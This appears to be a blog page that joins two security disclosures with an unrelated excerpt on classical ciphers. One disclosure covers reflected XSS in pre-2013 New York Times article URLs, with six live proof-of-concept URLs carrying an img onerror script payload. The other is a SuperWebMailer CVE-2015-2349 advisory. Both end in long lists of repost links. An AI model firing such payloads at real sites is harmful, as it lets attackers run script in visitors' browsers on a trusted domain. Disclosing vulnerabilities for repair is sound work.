New York Times nytimes.com Page Design XSS Vulnerability (Almost all Article Pages Before 2013 are Affected)

The New York Times  Old Articles Can Be Exploited by XSS Attacks (Almost all Article Pages Before 2013 Are Affected)

Domain:

http://www.nytimes.com/



"The New York Times (NYT) is an American daily newspaper, founded and continuously published in New York City since September 18, 1851, by the New York Times Company. It has won 114 Pulitzer Prizes, more than any other news organization. The paper's print version has the largest circulation of any metropolitan newspaper in the United States, and the second-largest circulation overall, behind The Wall Street Journal. It is ranked 39th in the world by circulation. Following industry trends, its weekday circulation has fallen to fewer than one million daily since 1990. Nicknamed for years as "The Gray Lady", The New York Times is long regarded within the industry as a national "newspaper of record". It is owned by The New York Times Company. Arthur Ochs Sulzberger, Jr., (whose family (Ochs-Sulzberger) has controlled the paper for five generations, since 1896), is both the paper's publisher and the company's chairman. Its international version, formerly the International Herald Tribune, is now called the International New York Times. The paper's motto, "All the News That's Fit to Print", appears in the upper left-hand corner of the front page." (Wikipedia)

(1) Vulnerability Description:

The New York Times has a computer cyber security problem. Hacker can exploit its users by XSS bugs. 

The code program flaw occurs at New York Times’s URLs. Nytimes (short for New York Times) uses part of the URLs to construct its pages. However, it seems that Nytimes does not filter the content used for the construction at all before 2013.

Based on Nytimes’s Design, Almost all URLs before 2013 are affected (All pages of articles). In fact, all article pages that contain “PRINT” button, “SINGLE PAGE” button, “Page *” button, “NEXT PAGE” button are affected.

Nytimes changed this mechanism since 2013. It decodes the URLs sent to its server. This makes the mechanism much safer now.

However, all URLs before 2013 are still using the old mechanism. This means almost all article pages before 2013 are still vulnerable to XSS attacks. I guess the reason Nytimes does not filter URLs before is cost. It costs too much (money & human capital) to change the database of all posted articles before.

Living POCs Codes:

http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html//' "><img src=x onerror=prompt(/justqdjing/)>
http://www.nytimes.com/2011/01/09/travel/09where-to-go.html//' "><img src=x onerror=prompt(/justqdjing/)>?pagewanted=all&_r=0
http://www.nytimes.com/2010/12/07/opinion/07brooks.html//' "><img src=x onerror=prompt(/justqdjing/)>
http://www.nytimes.com/2009/08/06/technology/06stats.html//' "><img src=x onerror=prompt(/justqdjing/)>
http://www.nytimes.com/2008/07/09/dining/091crex.html//' "><img src=x onerror=prompt(/justqdjing/)>
http://www.nytimes.com/2007/11/14/opinion/lweb14brain.html//' "><img src=x onerror=prompt(/justqdjing/)>

POC Video:

https://www.youtube.com/watch?v=RekCK5tjXWQ


Blog Details:
http://tetraph.blogspot.com/2014/10/new-york-times-nytimescom-page-design.html

(2) Vulnerability Analysis:

Take the following link as an example,

http://www.nytimes.com/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/“><vulnerabletoattack

It can see that for the page reflected, it contains the following codes. All of them are vulnerable.

<li class=”print”>

<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=print”>Print</testtesttest?pagewanted=print”></a>

</li>

<li class=”singlePage”>

<a href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><testtesttest?pagewanted=all”> Single Page</vulnerabletoattack?pagewanted=all”></a>

 </li>

<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum2′);” title=”Page 2″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>2</testtesttest?pagewanted=2″></a> 
</li>

<li> <a onclick=”s_code_linktrack(‘Article-MultiPagePageNum3′);” title=”Page 3″ href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=3″>3</testtesttest?pagewanted=3″></a> 
</li>

<a class=”next” onclick=”s_code_linktrack(‘Article-MultiPage-Next’);” title=”Next Page” href=”/2012/02/12/sunday-review/big-datas-impact-in-the-world.html/”><vulnerabletoattack?pagewanted=2″>Next Page »</testtesttest?pagewanted=2″></a>






(3) What is XSS?
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in Web applications. XSS enables attackers to inject client-side script into Web pages viewed by other users. A cross-site scripting vulnerability may be used by attackers to bypass access controls such as the same origin policy.


"Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records. Cross-site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques Cross-site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet." (Acunetix)

The vulnerability can be attacked without user login. Tests were performed on Firefox (34.0) in Ubuntu (14.04) and IE (9.0.15) in Windows 8.

Discover and Reporter:

Jing Wang, Division of Mathematical Sciences (MAS), School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore. (@justqdjing)

http://www.tetraph.com/wangjing

More Details:

http://lists.openwall.net/full-disclosure/2014/10/16/2
http://www.tetraph.com/blog/xss-vulnerability/new-york-times-xss
http://permalink.gmane.org/gmane.comp.security.fulldisclosure/1102
http://webcabinet.tumblr.com/post/121907302752/new-york-times-xss
http://www.inzeed.com/kaleidoscope/xss-vulnerability/new-york-times-xss
https://progressive-comp.com/?l=full-disclosure&m=141343993908563&w=1
http://webtech.lofter.com/post/1cd3e0d3_6f57c56
http://tetraph.blog.163.com/blog/static/2346030512014101270479/
https://vulnerabilitypost.wordpress.com/2014/11/01/new-york-times-xss
http://lifegrey.tumblr.com/post/121912534859/tous-les-liens-vers-les-articles
http://securityrelated.blogspot.com/2014/10/new-york-times-design.html
https://mathfas.wordpress.com/2014/11/01/new-york-times-xss
http://computerobsess.blogspot.com/2014/10/new-york-times-design.html
http://whitehatview.tumblr.com/post/103788276286/urls-to-articles-xss
http://diebiyi.com/articles/security/xss-vulnerability/new-york-times-xss

Math and Computer & Web Security - Cryptography

A military commander wants some assurance that the information sent to field commanders does not fall into the hands of opponents. Hence, written communications which can be easily read if intercepted by an an enemy are dangerous. (Asking the messenger to memorize secret messages is not practical, and if one can believe the spy and counter-terrorism thrillers currently on TV, not secure.) Julius Caesar is often credited with one of the earlier attempts at using a cryptological system with a mathematical flavor to disguise messages. It is claimed that he used a system in which each letter of the alphabet in a "plaintext," the original message, is replaced by the next letter of the alphabet, with the last alphabet letter cycling around to be represented by the first letter of the alphabet. Thus, the phrase Caesar Cipher would be replaced by Dbftbs Djqifs. Coming across a message such as this, one is faced with the tremendous range of possible systems that might have been used to disguise the original message. It might confuse the "enemy" for a while. Within the range of what today have come to be called Caesar Ciphers, one could shift the replacement alphabet by r places, rather than 1 place (r =1) in the example above. When r = 5 the phrase Caesar Cipher becomes hfjxfw hnumjw.

However, if a decoder hits on the idea that the way the plaintext is being disguised is to shift each letter by the same number of positions, it is not very much work, with the English alphabet of 26 letters, to try them all. This simple example already shows the interesting connection between "complexity" issues and security, whether it be Internet use of cryptography or military use. In some situations slowing down one's opponent is good enough. If it takes an hour to decode a message whose information content is valueless after an hour, then the coding system has done its job. However, if a message is decoded, then the next time a similar message is intercepted, the time to recover the hidden information could go down from an hour to 3 minutes. Then I must keep finding ways to stay a step ahead of my "enemy." In this discussion I will use the words code and cipher and decode and decipher interchangeably. However, usually a cipher refers to replacing a symbol of a plaintext alphabet by another single symbol from some other alphabet or the same alphabet. By contrast, a code refers to replacing blocks of symbols in the plaintext, by another block of symbols.

There have been many developments in cryptography since the Caesar Cipher. One simple idea is not to use the same word lengths in the enciphered message as in the original. If the word "I" or "a" is left as a single letter in the "ciphertext," then it greatly simplifies the process of breaking the encryption system. Typically, the message is broken up into groups of 5 letters (disregarding spaces between words, and often punctuation) and replaced by 5 other letters. This has the effect of making the coded message look more "anonymous." If the length of the original message is not a multiple of five, then extra symbols, called nulls in the "trade," are added to fill out the needed positions.

Another simple idea is the use of a polyalphabetic cipher, where the alphabet used to encode the plaintext changes with each letter in accordance with some key. Using the key provides a way to change the alphabet used for the encoding as one matches a plaintext letter to a letter in the key. This idea was pioneered by Leone Alberti (1404-1472), who was also a pioneer of projective geometry. It is tempting to believe that such a "complex" system would be unbreakable. However, if the key length is short and there is lots of ciphertext available using the same system, then statistical methods can be used to break the cipher. If a key is used only once and is generated at random, the so-called one-time pad, then the cipher is not breakable. However, key exchange and generation of large amounts of random key present a significant problem for the volume of communications that we want to secure in modern times.

From: http://www.ams.org



Tumblr:
http://mathpost.tumblr.com/post/121011459280/math-and-computer-web-security-cryptography-a


Lofter:
http://mathdaily.lofter.com/post/1cc75b20_738efaf

CVE-2015-2349 - SuperWebMailer 5.50.0.01160 XSS (Cross-site Scripting) Web Security Vulnerabilities

CVE-2015-2349 - SuperWebMailer 5.50.0.01160 XSS (Cross-site Scripting) Web Security Vulnerabilities

Exploit Title: CVE-2015-2349 - SuperWebMailer /defaultnewsletter.php" HTMLForm Parameter XSS Web Security Vulnerabilities

Product: SuperWebMailer

Vendor: SuperWebMailer

Vulnerable Versions: 5.*.0.*   4.*.0.*

Tested Version: 5.*.0.*   4.*.0.*

Advisory Publication: March 11, 2015

Latest Update: May 03, 2015

Vulnerability Type: Cross-Site Scripting [CWE-79]

CVE Reference: CVE-2015-2349

Impact CVSS Severity (version 2.0):

CVSS v2 Base Score: 4.3 (MEDIUM) (AV:N/AC:M/Au:N/C:N/I:P/A:N) (legend)

Impact Subscore: 2.9

Exploitability Subscore: 8.6

CVSS Version 2 Metrics:

Access Vector: Network exploitable; Victim must voluntarily interact with attack mechanism

Access Complexity: Medium

Authentication: Not required to exploit

Impact Type: Allows unauthorized modification

Author and Creditor: Jing Wang [School of Physical and Mathematical Sciences (SPMS), Nanyang Technological University (NTU), Singapore] (@justqdjing)

Information Details:

(1) Vendor & Product Description:

Vendor:

SuperWebMailer

Product & Vulnerable Versions:

SuperWebMailer

5.60.0.01190

5.50.0.01160

5.40.0.01145

5.30.0.01123

5.20.0.01113

5.10.0.00982

5.05.0.00970

5.02.0.00965

5.00.0.00962

4.50.0.00930

4.40.0.00917

4.31.0.00914

4.30.0.00907

4.20.0.00892

4.10.0.00875

Vendor URL & Download:

SuperWebMailer can be gained from here,

http://www.superwebmailer.de/

Product Introduction Overview:

"Super webmail is a web-based PHP Newsletter Software. The web-based PHP Newsletter Software Super webmail is the optimal solution for the implementation of a successful e-mail marketing."

"To use the online PHP Newsletter Script is your own website / server with PHP 4 or newer, MySQL 3.23 or later and the execution of CronJobs required. Once installed, the online newsletter software Super webmail can be served directly in the browser. The PHP Newsletter Tool Super webmail can therefore be used platform-independent all operating systems such as Windows, Linux, Apple Macintosh, with Internet access worldwide. The PHP Newsletter Script allows you to manage your newsletter recipients including registration and deregistration from the newsletter mailing list by double-opt In, Double Opt-Out and automatic bounce management. Send online your personalized newsletter / e-mails in HTML and Text format with embedded images and attachments immediately in the browser or by CronJob script in the background immediately or at a later. With the integrated tracking function to monitor the success of the newsletter mailing, if thereby the openings of the newsletter and clicks on links in the newsletter graphically evaluated and presented. Put the integrated autoresponder to autorun absence messages or the receipt of e-mails to confirm."

"It is now included CKEditor 4.4.7. An upgrade to the latest version is recommended as an in CKEditor 4.4.5 Vulnerability found. Super webmail from immediately contains new chart component for the statistics that do not need a flash and are therefore also represented on Apple devices. For the Newsletter tracking statistics is now an easy print version of the charts available that can be printed or saved with PDF printer driver installed in a PDF file. When viewing the e-mails in the mailing lists of the sender of the email is displayed in a column that sent the e-mail to the mailing list. For form creation for the newsletter subscription / cancellation are now available variant"

(2) Vulnerability Details:

SuperWebMailer web application has a computer security bug problem. It can be exploited by XSS attacks. This may allow a remote attacker to create a specially crafted request that would execute arbitrary script code in a user's browser session within the trust relationship between their browser and the server. 

Several other related products 0-day vulnerabilities have been found by some other bug hunter researchers before. SuperWebMailer has patched some of them. FusionVM Vulnerability Management and Compliance provides sources for the latest info-sec news, tools, and advisories. It has published suggestions, advisories, solutions details related to web application vulnerabilities.

(2.1) The programming code flaw occurs at "&HTMLForm" parameter in "defaultnewsletter.php?" page.

Related Results:
http://seclists.org/fulldisclosure/2015/Mar/55
http://www.securityfocus.com/bid/73063
http://lists.openwall.net/full-disclosure/2015/03/07/3
http://permalink.gmane.org/gmane.comp.security.fulldisclosure/1819
http://packetstormsecurity.com/files/131288/ECE-Projects-Cross-Site-Scripting.html
http://static-173-79-223-25.washdc.fios.verizon.net/?l=full-disclosure&m=142551542201539&w=2
https://cxsecurity.com/issue/WLB-2015030043
http://aibiyi.lofter.com/post/1cc9f4e9_6edf9bf

http://tetraph.tumblr.com/post/118764414962/canghaixiao-cve-2015-2349-superwebmailer
http://canghaixiao.tumblr.com/post/118764381217/cve-2015-2349-superwebmailer-5-50-0-01160-xss
http://essaybeans.lofter.com/post/1cc77d20_6edf28c
https://www.facebook.com/essaybeans/posts/561250300683107
https://twitter.com/essayjeans/status/598021595974602752
https://www.facebook.com/pcwebsecurities/posts/687478118064775
http://tetraph.blog.163.com/blog/static/234603051201541231655569/
https://plus.google.com/112682696109623633489/posts/djqcrDw5dQp
http://essayjeans.blogspot.com/2015/05/cve-2015-2349-superwebmailer-550001160.html
https://mathfas.wordpress.com/2015/05/12/cve-2015-2349-superwebmailer-5-50-0-01160-xss/
http://www.tetraph.com/blog/xss-vulnerability/cve-2015-2349-superwebmailer-5-50-0-01160-xss/
https://vulnerabilitypost.wordpress.com/2015/05/12/cve-2015-2349-superwebmailer-5-50-0-01160-xss/
http://aibiyi.blogspot.com/2015/05/cve-2015-2349-superwebmailer-550001160.html